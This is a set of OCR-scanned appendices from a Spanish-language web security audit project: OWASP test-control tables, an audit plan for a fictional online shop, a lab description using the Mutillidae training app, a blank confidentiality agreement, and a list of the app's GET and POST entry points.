OTG-CONFIG-005
OTG-CONFIG-006
OTG-CONFIG-007
OTG-CONFIG-008

Information Gathering

Conduct Search Engine Discovery and Reconnaissance for Information Leakage

Fingerprint Web Sener

Review Websener Metafiles for Information Leakage

Enumerate Applications on Websenver

Review Webpage Comments and Metadata for Information Leakage
Identify application entry points

Map execution paths through application

Fingerprint Web Application Framework

Fingerprint Web Application

Map Application Architecture

Tabla 3: Information Gathering Controls

Configuration and Deploy Manhagement Testing
Test Network/Infrastructure Configuration
Test Application Platform Configuration
Test File Extensions Handling for Sensitive Information
Backup and Unreferenced Files for Sensitive Information
Enumerate Infrastructure and Application Admin Interfaces
Test HTTP Methods
Test HTTP Strict Transport Security
Test RIA cross domain policy

Tabla 4: Configuration and Deploy Management Testing Controls

OTG-IDENT-001
OTG-IDENT-002
OTG-IDENT-003
OTG-IDENT-004
OTG-IDENT-005
OTG-IDENT-006
OTG-IDENT-007

OTG-AUTHZ-001
OTG-AUTHZ-002
OTG-AUTHZ-003
OTG-AUTHZ-004

OTG-SESS-001
OTG-SESS-002
OTG-SESS-003
OTG-SESS-004
OTG-SESS-005
OTG-SESS-006
OTG-SESS-007
OTG-SESS-008

Identity Management Testing
Test Role Definitions

Test User Registration Process

Test Account Provisioning Process

Testing for Account Enumeration and Guessable User Account
Testing for Weak or unenforced username policy

Test Permissions of Guest/Training Accounts

Test Account Suspension/Resumption Process

Tabla 5: Identity Management Testing Controls

Authorization Testing
Testing Directory traversal/file include
Testing for bypassing authorization schema
Testing for Privilege Escalation
Testing for Insecure Direct Object References

Session Management Testing
Testing for Bypassing Session Management Schema
Testing for Cookies attributes
Testing for Session Fixation
Testing for Exposed Session Variables
Testing for Cross Site Request Forgery
Testing for logout functionality
Test Session Timeout
Testing for Session puzzling

Tabla 7: Session Management Testing Controls



OTG-INPVAL-001
OTG-INPVAL-002
OTG-INPVAL-003
OTG-INPVAL-004
OTG-INPVAL-005

OTG-INPVAL-007
OTG-INPVAL-008
OTG-INPVAL-009
OTG-INPVAL-010
OTG-INPVAL-011
OTG-INPVAL-012
OTG-INPVAL-013

OTG-INPVAL-014
OTG-INPVAL-015

OTG-INPVAL-016
OTG-INPVAL-017

Input Validation Testing
Testing for Reflected Cross Site Scripting

Testing for Stored Cross Site Scripting
Testing for HTTP Verb Tampering
Testing for HTTP Parameter pollution
Testing for SQL Injection

Oracle Testing

SQL Sener Testing

Testing PostgreSQL

MS Access Testing

Testing for NoSQL injection

Testing for LDAP Injection

Testing for ORM Injection

Testing for XML Injection

Testing for SSI Injection

Testing for XPath Injection
IMAP/SMTP Injection

Testing for Code Injection

Testing for Local File Inclusion
Testing for Remote File Inclusion
Testing for Command Injection
Testing for Buffer overflow

Testing for Heap overflow

Testing for Stack owerflow

Testing for Format string

Testing for incubated wilnerabilities
Testing for HTTP Splitting/Smuggling

Tabla 8: Input Validation Testing Controls
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OTG-ERR-001
OTG-ERR-002

OTG-CRYPST-001
OTG-CRYPST-002
OTG-CRYPST-003

OTG-BUSLOGIC-001
OTG-BUSLOGIC-002
OTG-BUSLOGIC-003
OTG-BUSLOGIC-004
OTG-BUSLOGIC-005
OTG-BUSLOGIC-006
OTG-BUSLOGIC-007
OTG-BUSLOGIC-008
OTG-BUSLOGIC-009

OTG-CLIENT-001
OTG-CLIENT-002
OTG-CLIENT-003
OTG-CLIENT-004
OTG-CLIENT-005
OTG-CLIENT-006
OTG-CLIENT-007
OTG-CLIENT-008
OTG-CLIENT-009
OTG-CLIENT-010
OTG-CLIENT-011
OTG-CLIENT-012

Error Handling
Analysis of Error Codes
Analysis of Stack Traces

Tabla 9: Error Handling Controls

Cryptography
Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection
Testing for Padding Oracle
Testing for Sensitive information sent via unencrypted channels

Tabla 10: Cryptography Controls

Business Logic Testing
Test Business Logic Data Validation

Test Ability to Forge Requests

Test Integrity Checks

Test for Process Timing

Test Number of Times a Function Can be Used Limits
Testing for the Circumwvention of Work Flows

Test Defenses Against Application Mis-use

Test Upload of Unexpected File Types

Test Upload of Malicious Files

Tabla 11: Business Logic Testing Controls

Client Side Testing
Testing for DOM based Cross Site Scripting
Testing for JavaScript Execution
Testing for HTML Injection
Testing for Client Side URL Redirect
Testing for CSS Injection
Testing for Client Side Resource Manipulation
Test Cross Origin Resource Sharing
Testing for Cross Site Flashing
Testing for Clickjacking
Testing WebSockets
Test Web Messaging
Test Local Storage

Tabla 12: Client Side Testing Controls
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Anexo 2. Plan de auditoria

El plan de auditoria detallara la auditoria a realizar. En una auditoria real a un
cliente seria necesario realizar una toma de requisitos para determinar de
manera realista el alcance y las circunstancias del trabajo a realizar. Con este
documento se busca la conformidad del cliente sobre el trabajo propuesto en el
plan de auditoria. Este documento podria contener los siguientes puntos:

1. Establecimiento del alcance.

Descripcion del entorno a auditar.

Metodologias que se usaran.

Definicion de los plazos temporales de la auditoria.

a s b

Procedimientos de comunicacion con los responsables durante el
proceso.

6. Procedimiento de actuacion ante la deteccibn de vulnerabilidades
criticas o problemas en los sistemas auditados a causa de las pruebas
lanzadas.

7. Seleccion y descripcion de los controles a auditar.
8. Herramientas que se usaran.

9. Requisitos necesarios para realizar las pruebas.
10.Restricciones a tener en cuenta.

Ya que no se trata de una auditoria real, los sistemas auditar se implementaran
en un entorno de laboratorio. Habra que seleccionar la aplicacién contra la que
lanzar las pruebas e implementarla.

Sefalar que en el plan de auditoria se hablara en todo momento de una
empresa, sistemas y condiciones ficticias como si de una situacion real se
tratara.

Establecimiento del alcance

El objetivo general de la auditoria a realizar para el cliente “Shop At Home S.A.”
sera identificar problemas de seguridad en la organizaciéon. En concreto se
comprobaran una serie de controles presentes en una aplicacion web.

El objeto del presente documento es recopilar los distintos aspectos a revisar
dentro del ambito de la auditoria. Se describiran los aspectos mas relevantes.

Este documento constituird la guia a emplear para la coordinacion entre el
equipo auditor y “Shop At Home S.A.” a la hora de planificar, programar las
pruebas a realizar y gestionar las distintas autorizaciones necesarias para
realizar la auditoria.

En este plan de auditoria no se pretende recopilar en detalle todas las pruebas
a realizar sino describir la estrategia a seguir.

La presente auditoria se cefiird a la revision global de los controles de
seguridad aplicados a la aplicacion de “Shop At Home S.A.” ubicada en su
dominio principal “www.shopathome.com”. Aunque se lanzaran pruebas sobre
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el servidor web que sirve la aplicacion, los esfuerzos se concentraran en la
propia aplicacion web.

Las pruebas se realizaran desde la direccion IP IP_EMPRESA. Desde esta IP
se lanzaran una serie de herramientas y técnicas utilizadas para comprobar la
presencia de problemas de seguridad.

Este plan de auditoria se ejecutara entre el 11/04/2016 — 09/05/2016.
Se podran realizar las siguiente pruebas:

e Escaneos activos

e Deteccion de vulnerabilidades

e Explotacion de vulnerabilidades

e Fuerza bruta de credenciales

e Denegacion de servicios

Descripcion del entorno a auditar

La empresa “Shop At Home S.A.” tiene varias sedes repartidas por el territorio
nacional. Se dedica principalmente a venta de articulos del hogar. La sede
central se encuentra ubicada en Madrid, donde tiene los sistemas que sirven
los servicios internos ofrecidos a sus empleados y los publicados para el
acceso a sus clientes. Entre estos servicios publicos cuenta con una web a
través de la cual muestra y vende un catalogo con sus productos a través de
Internet.

El cliente solicita los servicios de auditoria por varios motivos:

e El “Shop At Home S.A.” quiere tener una vision del nivel de seguridad
presente en la aplicacion web publicada en Internet.

e Le preocupa que pueda ser sancionada por un incumplimiento de la
LOPD

e Recientemente ha detectado una intrusién en sus sistemas. Aunque el
incidente ya ha sido contenido y solucionado, quiere comprobar que no
existe ninguna vulnerabilidad que se pueda aprovechar para acceder a
Sus sistemas.

e Le preocupa el dafio a la imagen y la pérdida de confianza por parte de
sus clientes, y como consecuencia una pérdida de ingresos.

Se indican algunos detalles recogidos tras la reunion mantenida entre el equipo
auditor y la empresa “Shop At Home S.A.”:

e Las caracteristicas de los sistemas a auditar:
o Maquina Virtual: VirtualBox
o Sistema Operativo: Ubuntu Linux
o Servidor Web: Apache
o Aplicacion: PHP + Mysql
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e Caracteristicas del negocio: empresa dedicada a la venta de articulos
del hogar. Cuenta con varias sedes repartidas por el territorio nacional.
La tienda online la tienen en Madrid bajo el dominio
www.shopathome.com y es el objetivo de esta auditoria.

e Volumen de usuarios que hace uso de la aplicacidn: la tienda online
tiene una carga media diaria de 50.000 usuarios.

e Sensibilidad de la informacion que maneja la aplicacién: se
almacenan datos de usuario en el perfil de la tienda como el nombre,
direccion y teléfono. No se manejan datos bancarios. La aplicacion
utiliza una pasarela de pago que devuelve el resultado de la operacién.

e Criticidad de los servicios que presta el sistema: el servicio que se
ofrece es critico para la empresa. Un compromiso de la disponibilidad
provocaria pérdidas economicas. Se dispone de una copia diaria
completa de la base de datos de la aplicacion.

e Personal téchico que mantiene el sistemas: la empresa cuenta con
un departamento de sistemas compuesto por cuatro técnicos y un
responsable. Prestan servicio in-situ de 8 a 17h de lunes a viernes. El
resto del tiempo atienden los problemas que puedan surgir en remoto
24x7.

e Relacién con otros sistemas de la compaiia: el sistema a auditar
esta relacionado con un sistema de base de datos ubicado en la misma
maquina.

e Red en la que se ubica el sistema: el sistema en produccion se
encuentra ubicado en la red DMZ y esta publicado a Internet.

e Sistemas de proteccion y deteccibn implementados en la
organizacion: no hay sistemas de proteccion ni deteccion perimetrales
gue puedan bloquear o detectar ataques o conexiones maliciosas.

Metodologia: Fases y tareas

Se indican las fases y tareas que se seguiran durante la ejecucion de la
auditoria:

1. Toma de requisitos: se mantiene una reunién con el “Shop At Home S.A.” y
se recoge la informacién necesaria para determinar el alcance del trabajo a
realizar. También se informa de las fases y tareas que se llevaran a cabo
durante la auditoria.

2. Generacion del Plan de auditoria: se trata de la generacién del presente
documento, en el que se describe el trabajo a realizar. Este informe se enviara
al cliente y si estd conforme se seguira con la ejecucion de las pruebas de
auditoria.

3. Ejecucidén de pruebas: en esta fase se ejecutaran las pruebas de auditoria
descritas en el Plan de Auditoria. Se seguiran las siguientes fases:
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1. Reconocimiento (footprinting): obtencidon de informacion de los
objetivos. Se puede obtener informacion de bases de datos whois, de los
servidores dns, de base de datos de Internet, etc.

2. Escaneo (fingerprinting): obtencion de informacion de los activos
estableciendo comunicacion con ellos. Dentro de esta fase entrarian el
descubrimiento de activos, escaneo de puertos, figenprinting de
servicios, etc.

3. Deteccion de vulnerabilidades: con toda la informacién recogida
anteriormente junto con el lanzamiento de nuevas herramientas se
identificaran vulnerabilidades presentes en los sistemas.

4. Verificacion de vulnerabilidades: en esta fase de intentaran verificar la
presencia de las vulnerabilidades identificadas lanzando pruebas
concretas.

5. Andlisis de resultados: se realizaran un analisis de toda la informacion
recogida. Puede que sea necesario lanzar alguna prueba mas para
obtener evidencias.

4. Generacion del informe de auditoria: una vez que se tengan los resultados
de las pruebas y se hayan analizado se generarda el informe de auditoria, en el
gue se expondran los datos relevantes en un resumen ejecutivo, un detalle de
los controles y pruebas realizadas, y unas recomendaciones para mejorar el
nivel de seguridad de la organizacion.

5. Presentacion del informe: por Ultimo se mantendra una reunién con el
cliente y se presentaran los datos de la auditoria. Se aprovechara para resolver
cualquier duda que pueda surgir asi como para contrastar la informacion y
sugerir medidas a tomar a corto, medio y largo plazo.

6. Seguimiento de la auditoria: se acompafiara durante la aplicacion de las
nuevas medidas o controles. Se recomienda repetir la auditoria y comprobar la
efectividad de los controles implementados.

Definicién de los plazos temporales
Se indica los plazos temporales establecidos para las fases de la auditoria:
e Plan de Auditoria: 22/03/2016 — 11/04/2016
e Ejecucidén de pruebas de auditoria: 12/04/2016 — 09/05/16
¢ Informe de auditoria: 10/05/2016 — 06/06/2016
e Presentacion de la auditoria: 07/06/2016 — 13/06/2016

Tipo de auditoria

La auditoria a realizar sera de caja gris, es decir, se realizardn pruebas con
métodos similares a los de caja negra, simulando ataques reales. Sin embargo,
se cuenta con alguna informacién de los sistemas a auditar, y si fuera
necesario, se podria pedir mas informacién, como ficheros de configuracion,
ficheros de logs, diagramas de red y arquitectura, etc. si fuera necesario.
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Este tipo de test permite identificar un mayor nUmero de amenazas en el menor
tiempo disponible y proporciona una estimacion realista de las amenazas.

Documentacion de referencia

Al tratarse de una aplicacion web se tomara como referencia la documentacién
proporcionada por OWASP. El proyecto abierto de seguridad en aplicaciones
Web (OWASP) es una comunidad abierta dedicada a generar documentacion,
proyectos, eventos para la mejora de la seguridad web en las organizaciones.
Principalmente OWASP proporciona:

e Herramientas y estandares de seguridad en aplicaciones.

e Libros completos de revisiones de seguridad y desarrollo seguro de
cbdigo.

e Listas de correo.

e Conferencias.

¢ [nvestigaciones.

e Controles de seguridad y librerias.

Durante esta auditoria de seguridad se tomara principalmente la informacion
ofrecida por los siguientes proyectos de OWASP:

e OWASP Top Ten 2013: https://www.owasp.org/index.php/Top_10_2013-
Top_10

e OWASP Testing Guide v4:
https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of _
Contents

Aunque también se hard uso de otros documentos y herramientas disponibles
en su pagina principal: www.owasp.org.

Por otra parte se tendrd en cuenta la informacion proporcionada por los
siguientes proyecotos:

e Open Source Security Testing Methodology Manual (OSSTMM):
http://www.isecom.org/mirror/OSSTMM.3.pdf

e Pentest Standard: http://www.pentest-standard.orqg/

e NIST SP 800-115 Technical Guide to Information Security Testing and
Assessment:  http://csrc.nist.gov/publications/nistpubs/800-115/SP800-

115.pdf

Asi como otras guias del NIST de las siguientes series:

e SP 800 - Computer Security:
http://csrc.nist.gov/publications/PubsSPs.html#SP 800

e SP 1800 - NIST Cybersecurity Practice Guides:
http://csrc.nist.gov/publications/PubsSPs.html#SP 1800
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e SP 500 - Computer Systems Technology:
http://csrc.nist.gov/publications/PubsSPs.html#SP 500

Procedimientos de comunicacion

La comunicacion se realizaran en todo momento con el Sr. Peter Jackson,
gerente de Shop At Home S.A., y con el responsable de sistemas, Abraham
Foster, a través de los datos de contacto proporcionados:

Gerente:
e Email: pjackson@shopathome.com
e TIfno: 666 777 888
e Disponibilidad: 24x7
Responsable de Sistemas:
e Email: afoster@shopathome.com
e Tlfno: 676 878 099
e Disponibilidad: 24x7

Solo se establecerd comunicacién con otra persona si algunos de los contactos
anteriores lo autorizan expresamente.

Procedimientos de comunicacidn ante problemas en los sistemas
auditados

En el caso de encontrar alguna vulnerabilidad critica en el sistema a auditar o
se detectara algun problema derivado de las pruebas realizadas se comunicara
inmediatamente al gerente de la compafiia o al director de sistemas para que
tomem las medidas oportunas.

Para evitar generar algun impacto en los usuarios que hacen uso de la
aplicacion objeto de esta auditoria se acuerda no lanzar pruebas activas sobre
la aplicacion antes de las 15h. A partir de esta hora el volumen de usuarios que
hace uso de la aplicacion es menor, por lo que cualquier problema generara un
menor impacto en el servicio ofrecido.

El procedimiento de comunicacion urgente se activara en el caso de detectar
una vulnerabilidad grave en los sistemas o al verse comprometida la
disponibilidad del servicio ofrecido por el sistema. Se entiende por
vulnerabilidad grave cualquier aspecto que genere:

e La filtracion de informacion sensible.
e La madificacidén no autorizada de informacion.
e Un mal funcionamiento del sistema de informacion.

Al detectarse alguna de las situaciones anteriores el auditor informara
inmediatamente a los contactos, transmitirq la situacion de manera clara, el
hecho que ha originado la situacién. En cualquier caso el detalle del incidente
se documentara en el informe de auditoria.
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Seleccion y descripcion de los controles a auditar

Los controles que se auditaran estaran relacionados con los riesgos mas
relevantes identificados por OWASP en su proyecto OWASP Top Ten 2013, son
los siguientes:

Al - Inyeccioén: Las fallas de inyeccion, tales como SQL, OS, y LDAP,
ocurren cuando datos no confiables son enviados a un interprete como
parte de un comando o consulta. Los datos hostiles del atacante pueden
engafar al interprete en ejecutar comandos no intencionados o acceder
datos no autorizados.

A2 - Pérdida de Autenticacion y Gestidn de Sesiones: Las funciones
de la aplicacion relacionadas a autenticacion y gestion de sesiones son
frecuentemente implementadas incorrectamente, permitiendo a los
atacantes comprometer contrasefias, claves, token de sesiones, o
explotar otras fallas de implementacion para asumir la identidad de otros
usuarios.

A3 - Secuencia de Comandos en Sitios Cruzados (XSS): Las fallas
XSS ocurren cada vez que una aplicacion toma datos no confiables y los
envia al navegador web sin una validacion y codificacion apropiada. XSS
permite a los atacantes ejecutar secuencia de comandos en el
navegador de la victima los cuales pueden secuestrar las sesiones de
usuario, destruir sitios web, o dirigir al usuario hacia un sitio malicioso.

A4 - Referencia Directa Insegura a Objetos: Una referencia directa a
objetos ocurre cuando un desarrollador expone una referencia a un
objeto de implementacion interno, tal como un fichero, directorio, o base
de datos. Sin un chequeo de control de acceso u otra proteccion, los
atacantes pueden manipular estas referencias para acceder datos no
autorizados.

A5 - Configuracion de Seguridad Incorrecta: Una buena seguridad
requiere tener definida e implementada una configuracion segura para la
aplicacién, marcos de trabajo, servidor de aplicacion, servidor web, base
de datos, y plataforma. Todas estas configuraciones deben ser definidas,
implementadas, y mantenidas ya que por lo general no son seguras por
defecto. Esto incluye mantener todo el sotfware actualizado, incluidas las
librerias de cadigo utilizadas por la aplicacion.

A6 - Exposicion de Datos Sensibles: Muchas aplicaciones web no
protegen adecuadamente datos sensibles tales como numeros de
tarjetas de crédito o credenciales de autenticacion. Los atacantes
pueden robar o modificar tales datos para llevar a cabo fraudes, robos
de identidad u otros delitos. Los datos sensibles requieren de métodos
de proteccién adicionales tales como el cifrado de datos, asi como
también de precauciones especiales en un intercambio de datos con el
navegador.

A7 - Ausencia de Control de Acceso a las Funciones: La mayoria de
aplicaciones web verifican los derechos de acceso a nivel de funcion
antes de hacer visible en la misma interfaz de usuario. A pesar de esto,
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las aplicaciones necesitan verificar el control de acceso en el servidor
cuando se accede a cada funcion. Si las solicitudes de acceso no se
verifican, los atacantes podran realizar peticiones sin la autorizacion
apropiada.

A8 - Falsificacion de Peticiones en Sitios Cruzados (CSRF): Un
ataque CSRF obliga al navegador de una victima autenticada a enviar
una peticion HTTP falsificado, incluyendo la sesion del usuario y
cualquier otra informacion de autenticacion incluida automéaticamente, a
una aplicacion web vulnerable. Esto permite al atacante forzar al
navegador de la victima para generar pedidos que la aplicacion
vulnerable piensa son peticiones legitimas provenientes de la victima.

A9 - Uso de Componentes con Vulnerabilidades Conocidas:
Algunos componentes tales como las librerias, los frameworks y otros
modulos de software casi siempre funcionan con todos los privilegios. Si
se ataca un componente vulnerable esto podria facilitar la intrusion en el
servidor o una perdida seria de datos. Las aplicaciones que utilicen
componentes con vulnerabilidades conocidas debilitan las defensas de
la aplicacion y permiten ampliar el rango de posibles ataques e
impactos.

A10 - Redirecciones y reenvios no validados: Las aplicaciones web
frecuentemente redirigen y reenvian a los usuarios hacia otras paginas o
sitios web, y utilizan datos no confiables para determinar la pagina de
des=no. Sin una validacion apropiada, los atacantes pueden redirigir a
las victimas hacia sitios de phishing o malware, o utilizar reenvios para
acceder paginas no autorizadas.

Durante el proceso de comprobacion de los riesgos anteriores también se
informard si se detecta algun problema relacionado con los grupos de controles
del OWASP Testing Guide v4. Estos controles se pueden consultar en el
Anexo 3 de este documento, asi como otros problemas de seguridad
importantes que se detecten relacionados con el servidor web, sistema
operativo u otro elemento.

Ademas de las pruebas técnicas contra la aplicacion web se podra auditar en
caso de que se estime necesario lo siguiente:

Configuracion de los sistemas.
Andlisis de los ficheros de logs.
Diagramas de arquitectura.
Procedimientos de gestion.

Personal interno relacionado con el sistema a auditar.
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Requisitos necesarios para realizar las pruebas de auditoria

Los requisitos necesarios para realizar las pruebas son los siguientes:

Conectividad con la aplicacion a auditar.

Si fuera necesario se solicitara un usuario para acceder a secciones
restringidas de la aplicacion.

Si fuera necesario se solicitaran diagramas de arquitectura, ficheros de
logs o configuraciones de los sistemas a auditar para ampliar
informacion o confirmar algun problema detectado durante la ejecucion
de las pruebas.

Antes de empezar con las pruebas es necesario que el cliente cuente
con una copia de la base de datos de la aplicacion ya que algunas de las
pruebas a lanzar pueden ser intrusivas, y podrian provocar
modificaciones en la informacién almacenada en la base de datos.

Es necesario que las personas de contacto estén al tanto de las fechas
de realizacién de las pruebas de auditoria, por si fuera necesario activar
el procedimiento de emergencia y restablecer algun sistema.

Restricciones a tener en cuenta

Segun lo acordado con el “Shop At Home S.A.” se tendran en cuenta las
siguientes restricciones:

Las pruebas de auditoria se realizaran a la aplicacidon
www.shopathome.com y al sistema que la sirve exclusivamente.

No se lanzaran pruebas activas contra el sistema antes de las 15h.

Las pruebas se realizaran desde la direccion IP IP_EMPRESA.
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Anexo 3. Descripcion de laboratorio

Se valoran las aplicaciones vulnerables incluidas en los proyectos OWASP
Vulnerable Web Applications Directory Project:

e https://www.owasp.org/index.php/OWASP_Vulnerable_Web_Applications
_Directory_Project

Y las del proyecto OWASP Broken Web Application Project (OWASPBWA):

e https://www.owasp.org/index.php/OWASP_Broken_Web_Applications_Pr
oject

Se elige como maquina vulnerable la aplicacion Mutillidae 2, incluida en
OWASPBWA.

Esta aplicacion incluye los diez riesgos descritos en el Top 10 de OWASP de
2013 y los afios anteriores, asi como otras vulnerabilidades web. Se trata de
una aplicacion muy completa para lanzar pruebas de deteccion y explotacion
de vulnerabilidades web. Se utilizar4 la maquina virtual proporcionada por el
proyecto OWASPBWA en un entorno VirutalBox.

Para lanzar las pruebas se usara una maquina virtual en el entorno VirtualBox
con la distribucion Kali Linux 2.0 instalada (https://www.kali.org/). La mayoria
de las herramientas necesarias se encuentran ya instaladas en Kali Linux, pero
en el caso de ser necesaria alguna otra se instalara en esta distribucion.
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Anexo 3: Acuerdo de confidencialidad y secreto

ACUERDO DE CONFIDENCIALIDAD Y SECRETO

=1 o T a.....de.......... de 20.......
REUNIDOS
DD e , mayor de edad, con
domicilio en la G e NO........ ,
Localidad............ooooviiniiiiiiiiiieccee, ProvinCia........cccccooveiiiiiiiiiiiiieeeeeen
CPnnns con DN , Y en representacion de la
compania..........cc.oevevennen. con CIF.................. 'y domicilio social
L= o Y,
DD e , mayor de edad, con
domicilio en la G e NO........ ,
Localidad............ooooviiniiiiiiiiiieccee, ProvinCia..........cccooveviiiiiiiiiiiiceeecen
CPnnns con DN , Y en representacion de la
compania...........c.coeeevennen. con CIF.................. 'y domicilio social
L= o Y,
Exponen

e Que ambas partes se reconocen capacidad juridica suficiente para
suscribir el presente documento.

e Que ambas partes desean iniciar una relacion negocial y de
colaboracion mutua a nivel empresarial.

¢ Que durante la mencionada relacion las partes intercambiaran o crearan
informacion que estan interesadas en regular su confidencialidad y
secreto mediante las siguientes:

Condiciones
Objeto

Con el presente contrato las partes fijan formalmente y por escrito los términos
y condiciones bajo las que las partes mantendran la confidencialidad de la
informacion suministrada y creada entre ellas.

Que a los efectos de este acuerdo, tendra la consideracion de informacion
confidencial, toda la informacion susceptible de ser revelada por escrito, de
palabra o por cualquier otro medio o soporte, tangible o intangible, actualmente
conocido o que posibilite el estado de la técnica en el futuro, intercambiada
como consecuencia de este acuerdo.

Este acuerdo no constituye ningun acuerdo de licencia, contrato de desarrollo o
similar, obligandose las partes a adoptar las medidas oportunas para asegurar
el tratamiento confidencial de dicha informacion, medidas que no seran
menores que las aplicadas por ellas a la propia informacién confidencial de su
compaifiia.
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DURACION
Este acuerdo tendré una duraciéon indefinida desde el momento de su firma.

En caso de que no se renueve el contrato, ambas partes deberan devolver a la
otra toda la informacién remitida entre si, comprometiéndose a la destruccién
de cualquier copia de la misma, independientemente del soporte o formato en
el que se encuentre almacenada.

No obstante, lo dispuesto en el parrafo anterior, cada parte se compromete a
mantener el compromiso de confidencialidad respecto a la informacion y
material intercambiado entre las partes, de forma indefinida tras la finalizacion
del presente acuerdo.

CONFIDENCIALIDAD

Las partes se obligan a entregarse todo el material que sea necesario, y en el
caso de ser este confidencial se comprometen a:

e Utilizar dicha informacion de forma reservada.

e No divulgar ni comunicar la informacion técnica facilitada por la otra
parte.

e Impedir la copia o revelacién de esa informacién a terceros, salvo que
gocen de aprobacién escrita de la otra parte, y Unicamente en términos
de tal aprobacion.

e Restringir el acceso a la informacién a sus empleados y subcontratados,
en la medida en que razonablemente puedan necesitarla para el
cumplimiento de sus tareas acordadas.

e No utilizar la informacion o fragmentos de ésta para fines distintos de la
ejecucion de este contrato.

Las partes serdn responsables entre si, ante el incumplimiento de esta
obligacidn, ya sea por sus empleados o por subcontratados.

Las partes mantendran ésta confidencialidad y evitaran revelar la informacién a
toda persona que no sea empleado o subcontratado, salvo que:

e La parte receptora tenga evidencia de que conoce previamente la
informacion recibida.

e Lainformacion recibida sea de dominio publico.
e Lainformacion recibida proceda de un tercero que no exige secreto.

DERECHOS PREVIOS SOBRE LA INFORMACION
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Toda informacion puesta en comun entre las partes es de propiedad exclusiva
de la parte de donde proceda, y no es precisa la concesion de licencia para
dicho intercambio. Ninguna de las partes utilizara informacion previa de la otra
parte para su propio uso, salvo que se autorice lo contrario.

La informacion que se proporciona no da derecho o licencia a la empresa que
la recibe sobre las marcas, derechos de autor o patentes que pertenezcan a
quien la proporciona. La divulgacion de informacién no implica transferencia o
cesion de derechos, a menos que se redacte expresamente alguna disposicion
al respecto.

CLAUSULA PENAL

Las partes se comprometen a cumplir con todos los términos fijados en el
presente contrato, y muy especialmente aquellos relativos a las clausulas sobre
propiedad intelectual e industrial, confidencialidad y obligacion de secreto.

Independientemente de las responsabilidades que pudieran derivarse del
incumplimiento del presente acuerdo, asi como de las eventuales
indemnizaciones por dafios y perjuicios de cualquier naturaleza que pudieran
establecerse, el incumplimiento de estas obligaciones determinard a eleccion
de la parte que no incumplié el contenido de los términos fijados en el presente
contrato:

La resolucion del contrato.
El abono de............. € en concepto de penalizacion.
DERECHOS DE PROPIEDAD

Toda informacion intercambiada es de propiedad exclusiva de la parte de la
cual proceda. Ninguna de las partes utilizara informacion de la otra para su
beneficio independiente.

PROTECCION DE DATOS

Para la correcta aplicacion del presente acuerdo, ambas partes podrian tener
acceso a datos de caracter personal protegidos por la Ley Organica 15/1999 de
13 de diciembre, de Proteccién de Datos de Caréacter Personal, por lo que se
comprometen a efectuar un uso y tratamiento de los datos afectados que sera
acorde a las actuaciones que resulten necesarias para la correcta prestacion
de servicios regulada en este acuerdo, segun las instrucciones facilitadas en
cada momento.

Asimismo, las partes asumen la obligacion de guardar secreto profesional
sobre cuanta informacion pudieran recibir, gestionar y articular con relacion a
los datos personales y a no comunicarlos a terceros, salvo las excepciones
mencionadas, asi como a destruirlos, cancelarlos o devolverlos en el momento
de la finalizacion de la relacion contractual entre ambas partes, asi como a
aplicar las medidas de seguridad necesarias.
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Los derechos de acceso, rectificacion, cancelacion y oposicion podran
ejercitarse mediante escrito dirigido a las direcciones de los firmantes del
presente documento que constan en el encabezamiento.

CONFIDENCIALIDAD DEL ACUERDO

Las partes acuerdan que este acuerdo reviste el caracter de confidencial y por
tanto se prohibe su divulgacién a terceros.

MODIFICACION O CANCELACION

Este acuerdo soOlo podra ser modificado con el consentimiento expreso de
ambas partes, en documento escrito y mencionando la voluntad de las partes
de modificar el presente acuerdo.

JURISDICCION.

Las partes se comprometen a resolver de manera amistosa cualquier
desacuerdo que pueda surgir en el desarrollo del presente contrato.

En caso de conflicto ambas partes acuerdan el sometimiento a los Tribunales
de........... , con renuncia de su propio fuero.

Y en prueba de conformidad de cuanto antecede, firman el presente acuerdo
por duplicado y a un solo efecto en el lugar y fecha citados.

Firmado en a....... de....cccoonnnee de 200 .
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Anexo 4: Puntos de entrada

Puntos de entrada GET

index.php?page=home.php&popUpNotificationCode=HPHO
index.php?page=login.php
index.php?do=toggle-hints&page=/owaspbwa/mutillidae-git/home.php
index.php?do=toggle-bubble-hints&page=/owaspbwa/mutillidae-git/home.php
index.php?do=toggle-security&page=/owaspbwa/mutillidae-git/home.php
index.php?do=toggle-enforce-ssl&page=/owaspbwa/mutillidae-git/home.php
index.php?page=show-1log.php

index.php?page=captured-data.php

index.php?page=user-info.php

?page=add-to-your-blog.php

index.php?page=register.php

index.php?page=sqlmap-targets.php
index.php?page=view-someones-blog.php
index.php?page=pen-test-tool-lookup.php
index.php?page=pen-test-tool-lookup-ajax.php
index.php?page=add-to-your-blog.php

index.php?page=browser-info.php

index.php?page=dns-lookup.php

index.php?page=text-file-viewer.php

index.php?page=user-info-xpath.php
index.php?page=set-background-color.php
index.php?page=html5-storage.php

index.php?page=capture-data.php
index.php?page=document-viewer.php&PathToDocument=documentation/how-to-access-
Mutillidae-over-Virtual-Box-network.php
index.php?page=arbitrary-file-inclusion.php
index.php?page=user-poll.php

index.php?page=back-button-discussion.php
index.php?page=styling-frame.php&page-to-frame=styling.php%3Fpage-title
%3DStyling+with+Mutillidae
index.php?page=password-generator.php&username=anonymous
index.php?page=site-footer-xss-discussion.php
index.php?page=repeater.php
index.php?page=view-user-privilege-level.php&iv=6bc24fclab650b25b4114e93a98f1leba
index.php?page=xml-validator.php

index.php?page=source-viewer.php
index.php?page=privilege-escalation.php
index.php?page=client-side-control-challenge.php
index.php?page=credits.php
index.php?page=secret-administrative-pages.php
index.php?page=directory-browsing.php
index.php?page=user-agent-impersonation.php
index.php?page=upload-file.php

index.php?page=phpmyadmin.php

index.php?page=phpinfo.php

index.php?page=robots-txt.php

index.php?page=framing.php

?page=credits.php

index.php?page=ssl-misconfiguration.php

?page=text-file-viewer.php

?page=source-viewer.php

index.php?page=framer.html

?page=show-log.php

index.php?page=documentation/change-log.html
index.php?page=documentation/how-to-access-Mutillidae-over-Virtual-Box-network.php
index.php?page=installation.php
index.php?page=documentation/vulnerabilities.php
./index.php?page=hackers-for-charity.php
./index.php?page=usage-instructions.php
./includes/pop-up-help-context-generator.php?pagename=/owaspbwa/mutillidae-git/home.php
./index.php?page=./documentation/vulnerabilities.php
./index.php?page=documentation/change-log.html
./index.php?page=installation.php

./index.php?page=php-errors.php

Puntos de entrada en POST
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POST /index.php?page=add-to-your-blog.php HTTP/1.1
add-to-your-blog-php-submit-button=Save+Blog+Entry&csrf-token=

POST /index.php?page=login.php HTTP/1.1
username=usuario&password=contrase%Fla&login-php-submit-button=Login

